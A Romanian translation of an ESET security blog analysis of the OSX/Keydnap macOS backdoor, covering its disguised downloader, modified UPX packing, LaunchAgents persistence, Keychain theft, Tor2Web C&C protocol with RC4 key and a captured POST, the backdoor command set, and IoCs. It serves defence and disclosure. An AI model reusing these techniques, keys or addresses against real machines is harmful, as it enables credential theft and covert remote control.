Știri despre securitate, dezvăluiri și puncte de vedere ale experților ESET

Noul malware OSX/Keydnap colectează avid date de autentificare

2016-07-07

ESET analizează diferite mostre de malware ce vizează OS X în fiecare zi. Aceste mostre sunt de obicei aplicații potențial nedorite care injectează reclame în afișajul browser-ului în timp ce victima navighează pe internet.

În ultimele săptămâni, am investigat un caz interesant, unde scopul malware-ului este de a fura conținutul keychain și să mențină un backdoor permanent. Acest articol va descrie componentele acestei amenințări și ceea ce știm despre el până acum.

Vectorul de infecție

Nu este încă clar modul în care victimele sunt inițial expuse la OSX / Keydnap. Ar putea fi prin atașamente din mesaje spam, descărcări de pe site-uri ce nu sunt de încredere sau altceva.

Ceea ce știm este că o componentă downloader este distribuită într-un fișier .zip. Fișierul de arhivă conține un fișier executabil Mach-O cu o extensie care arată inofensivă, cum ar fi .txt sau .jpg. Cu toate acestea, extensia de fișier conține un caracter spațiu la sfârșit, ceea ce înseamnă că atunci când faceți dublu-clic pe fișierul din Finder acesta va lansa în Terminal și nu în Preview sau TextEdit.

1

Figura 1: Fereastra Finder ce include fișierele malițioase ZIP și “.jpg”

2

Figura 2: Fereastra de informații a fișierului downloader

ZIP-ul conține, de asemenea Resource furk care include pictograma fișierului executabil. Imită pictograma Finder care de obicei se aplică  la JPEG sau la fișiere text pentru a crește probabilitatea ca destinatarul să  dea dubluclic  pe fișier. Odată lansat, o fereastră de Terminal se deschide, iar sarcina utilă malițioasă este executată.

Figura 3: Captură ecran a downloader-ului executat pe OS X El Capitan. Observați cum apare pictograma Terminal pentru o fracțiune de secundă înainte de a fi deschid Preview.

OSX / Keydnap downloader

Downloader-ul este un executabil nesemnat Mach-O. Astfel, în cazul în care fișierul este descărcat de pe un browser de internet, iar Gatekeeper-ul este activat pe aparat – implicit în versiunile recente ale OS X și MACOS – acesta nu va executa și nu va afișa un avertisment pentru utilizator.

4

Figura 4: Mesajul afișat dacă fișierul ZIP este descărcat de la Safari

Downloader-ul Keydnap este simplu. Acesta va:

  1. Descărca și executa componenta backdoor
  2. Înlocui conținutul downloader-ul executabil Mach-O cu o momeală, fie folosind un fișier încorporat codificat Base64, fie prin descărcare de pe internet
  3. Deschide un document momeală (descris mai târziu)
  4. Închide fereastra Terminal care tocmai s-a deschis

Documentul de ademenire înlocuiește fișierul downloader Mach-O, ceea ce înseamnă că executabil rău intenționat este prezent numai în fișierul ZIP acum. Downloader-ul nu este persistent. Cu toate acestea, backdoor-ul descărcat va adăuga o intrare în directorul LaunchAgents și va supraviețui procesului de repornire. Acesta este descris mai detaliat în secțiunea backdoor.

Noi am găsit mai multe variante ale executabilului care aparține downloader-ului . O listă de mostre diferite pot fi găsite la sfârșitul articolului.

În mod interesant, am observat mostre recente înglobate în documente momeală care sunt capturi de ecran ale meniului botnet C&C sau dump-uri ale credențialelor cardurilor de credit. Acest lucru sugerează că Keydnap ar putea viza utilizatorii de pe forumuri mai ascunse sau poate chiar și cercetători de securitate. De asemenea, este inclus în variantele recente “un nume de versiune”. Am văzut trei nume diferite: elitef*ck, ccshop și transmission.

5

Figura 5: Exemplu de imagine momeală (1)

6

Figura 5: Exemplu de imagine momeală (2)

7

Figura 5: Exemplu de imagine momeală (3)

OSX / Keydnap backdoor

Toate mostrele de backdoor pe care le-am văzut au numele fișierului icloudsyncd. Malware-ul are un șir de caractere care este raportat la serverul de C & C. Până în prezent, am văzut două versiuni: prima în luna mai 2016 1.3.1, și versiunea 1.3.5 în luna iunie.

Disimulare

În timp ce modulul downloader nu este împachetat, backdoor-ul este dotat cu o versiune modificată a UPX. Două modificări sunt făcute pentru UPX versiunea 3.91:

  1. Magic bytes UPX! în antetul UPX sunt înlocuite cu ASS7,
  2. Secțiunile de cod decomprimate și șirurile de caractere  sunt XORed cu 0x01. În timpul auto-decomprimării, XOR este aplicat după decompresie și înainte de a apela funcția principală a binarului original.

8

Figura 6: Diferența dintre un pachet de fișier de stoc UPX și cel modificat

Un patch pentru UPX este disponibil în depozitul de cercetare malware ESET Github, care permite despachetarea backdoor-ului Keydnap cu ajutorul obișnuitului upx -d.

Persistenţă

Odată ce a început, backdoor-ul Keydnap instalează un fișier plist în / Library / LaunchAgents / în cazul în care are privilegii de root sau $USER/Library/LaunchAgents/, pentru a realiza persistența la reboot-uri. Directorul Library/Application Support/com.apple.iCloud.sync.daemon este folosit pentru a păstra icloudsyncd executabil. Acest director va conține, de asemenea, procesul de identificare al malware-ului care rulează în process.id și un ” nume construit ” (după cum este numit de autor) în build.id. Cu privilegiile de administrator, se va schimba, de asemenea, proprietarul icloudsyncd la root:admin și va face setuid și setgid executabile, ceea ce înseamnă că va rula întotdeauna ca root în viitor.

9

Figura 7: Lista proprietăților fișierului în directorul LaunchAgents

Pentru a camufla locația fișierului rău intenționat, Keydnap înlocuiește argv [0] cu / usr / libexec / iCloud sincronizare -launchd netlogon.bundle. Aici este un exemplu al rezultatului ps ax pe un sistem infectat:

$ ps ax

[...]

 566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle

[...]

Figura 8: Rezultatele ps ax pe un sistem infectat

Furtul keychain

OSX / Keydnap backdoor-ul este echipat cu un mecanism pentru a aduna și extrage parolele și cheile stocate în Keychain OS X. Autorul a luat pur și simplu un exemplu proof-of-concept disponibil pe Github numit Keychaindump. Citește memoria și căutările securityd pentru cheia de decriptare pentru Keychain-ul utilizatorului. Acest proces este descris într-o lucrare de K. Lee și H. Koo. Unul dintre motivele pentru care credem că sursa a fost luată direct din Github este acela că numele funcției din codul sursă este același în malware-ul Keydnap.

10

Figura 9: Lista funcțiilor Keydnap backdoor. În zona verde sunt funcțiile de la Keychaindump

Comunicarea C&C

Keydnap utilizează proxy-ul onion.to Tor2Web peste HTTPS pentru a raporta înapoi la serverul său C & C. Am observat două adrese tip onion utilizate în probe diferite:

  • g5wcesdfjzne7255.onion (Nu mai există)
  • r2elajikcosf7zee.onion (Existentă la momentul scrierii articolului)

Resursa HTTP începe întotdeauna cu / api / OSX / și conține acțiuni, cum ar fi:

  • / Api / OSX / started raportarea bot-ului tocmai ce a început
  • / Api / OSX / keychain pentru a extrage conținutul keychain
  • / Api / OSX / get_task? Bot_id = {botid} & version = {version} pentru a solicita o sarcină (descrisă mai jos)
  • / Api / OSX / cmd_executed pentru a raporta o ieșire a unei comenzi, care a fost executată
  • / Api / OSX / task_complete? Bot_id = {botid} & task_id = {taskid} pentru a raporta că o sarcină a fost finalizată

Conținutul HTTP POST are două câmpuri: bot_id și data. Câmpul de date este criptat cu cheia RC4 “u2RLhh +! LGd9p8! ZtuKcN”, fara ghilimele. Când este extras keychain-ul, câmpul keychain este folosit în loc de date.

POST /api/osx/started HTTP/1.1
Host: r2elajikcosf7zee.onion.to
Accept: */*Content-Length: 233
Content-Type: application/x-www-form-urlencoded 
bot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5TximyY%2BQY%3D

Figura 10: Malware-ul trimite informațiile inițiale

> rc4decrypt(base64decode("psX0DKYB0u...5TximyY+QY="), "u2RLhh+!LGd9p8!ZtuKcN")
device_model=MacBookPro9,2
bot_version=1.3.5
build_name=elitef*ck
os_version=15.5.0
ip_address=4.5.6.7
has_root=0

Figura 11: Datele decodate trimise către C&C

Bot_id este construit prin hashing-ul următoarelor valori cu SHA-256:

  1. UUID hardware (IOPlatformUUID)
  2. Numărul seriei de sistem (IOPlatformSerialNumber)
  3. Identificatorul de model Mac (ex. : MacBookPro9,2)

Cele mai multe acțiuni sunt auto-explicative. Comanda începută va trimite următoarele informații la C&C:

  • device_model: identificatorul de model (ex. : MacBookPro9,2)
  • bot_version: versiune de Keydnap
  • build_name: “Numele construit”, care a fost dat de downloader
  • os_version: OS X sau MacOS versiune kernel
  • ip_address: adresa IP externă raportată de ipify.org
  • has_root: 1 în cazul în care execută ca root, 0 în caz contrar

Comenzi backdoor

Răspunsul la get_task conține un număr întreg pentru a identifica tipul de comandă și argumentele opționale. Funcția numită get_and_execute_tasks se ocupă de 10 tipuri diferite de comandă.

Command ID Description
0 Uninstall Keydnap and quit
1 Update the backdoor from a base64-encoded file
2 Update the backdoor given a URL
3 Decode and execute a base64-encoded file
4 Decode and execute a base64-encoded Python script
5 Download and execute a file from a URL
6 Download and execute a Python script from a URL
7 Execute a command and report the output back to the C&C server
8 Request administrator privileges the next time the user runs an application
9 Decode and execute, or stop, a base64-encoded file calledauthd_service

 

Ultimele două comenzi ies în evidență. Comanda cu ID-ul 8 trebuie să fie trimisă în timp ce Keydnap-ul nu rulează ca root deja. Atunci când sunt emise, backdoor-ul va începe monitorizarea procesului în numele utilizatorului. Atunci când două noi procese sunt create în termen de două secunde, Keydnap va da naștere unei ferestre care solicită acreditările utilizatorului, exact ca cel al OS X pe care utilizatorii sunt obișnuiți să-l vadă, atunci când o aplicație necesită privilegii de administrator. În cazul în care victima este păcălită și introduce acreditările, backdoor-ul va rula de acum înainte ca root și conținutul keychain victimei va fi extras.

11

Figura 12: Efectuarea verificării numărului de proces

12

Figura 13: icloudsyncd solicitând privilegii

Noi nu știm ce este  executabilul authd_service ID-ul gestionat de comandă 9, pentru că nu l-am văzut folosit. Ar putea fi o a treia etapă malware lansabilă cu țintă spre câteva puncte specifice de interes.

Concluzie

Există câteva piese lipsă la acest puzzle. Nu știm în acest moment modul în care este distribuit Keydnap. Nici nu știm câte victime există.

Cu toate că există mai multe mecanisme de securitate implementate în OS X pentru a adresa codurile malware, este posibil ca utilizatorii să fie induși în eroare codului rău intenționat pentru a executa codul malițios în afara sandbox-ului, prin înlocuirea pictogramei unui fișier Mach-O.

IoCs

Mostre

Downloader

Toate downloader-ele enumerate mai jos sunt detectate ca OSX / TrojanDownloader.Keydnap.A de produsele ESET.

SHA-1 Filename First seen on VirusTotal Backdoor download URL Decoy description or URL
07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148 “info_list.txt “ 2016-05-09 hxxp://dev.aneros.com/media/icloudsyncd “Most Common Interview Questions”
78ba1152ef3883e63f10c3a85cbf00f2bb305a6a “screenshot_2016-06-28-01.jpg “ 2016-06-28 hxxp://freesafesoft.com/icloudsyncd BlackHat-TDS Panel screenshot
773a82343367b3d09965f6f09cc9887e7f8f01bf “screenshot.jpg “ 2016-05-07 hxxp://dev.aneros.com/media/icloudsyncd Firefox 20 about screenshot
dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c “CVdetails.doc “ 2016-05-03 hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc
2739170ed195ff1b9f00c44502a21b5613d08a58 “CVdetails.doc “ 2016-05-03 hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc
e9d4523d9116b3190f2068b1be10229e96f21729 “logo.jpg “ 2016-06-02 hxxp://dev.aneros.com/media/icloudsyncd sanelite logo
7472102922f91a78268430510eced1059eef1770 “screenshot_9324 2.jpg “ 2016-06-28 hxxp://freesafesoft.com/icloudsyncd Some C&C panel

Backdoor

SHA-1 ESET Detection name C&C Version
a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b OSX/Keydnap.A hxxps://g5wcesdfjzne7255.onion.to 1.3.1
abf99129e0682d2fa40c30a1a1ad9e0c701e14a4 OSX/Keydnap.A hxxps://r2elajikcosf7zee.onion.to 1.3.5

 Backdoor-ul serverelor C&C

  • hxxps://g5wcesdfjzne7255.onion.to/
  • hxxps://r2elajikcosf7zee.onion.to/

IoCs-urile Kidnap sunt de asemenea disponibile și actualizate în depozitul malware-ioc Github, dezvoltat de ESET,

 

MARC-ETIENNE M.LÉVEILLÉ
CORESPONDENT INDEPENDENT



Leave a Reply

Your email address will not be published. Required fields are marked *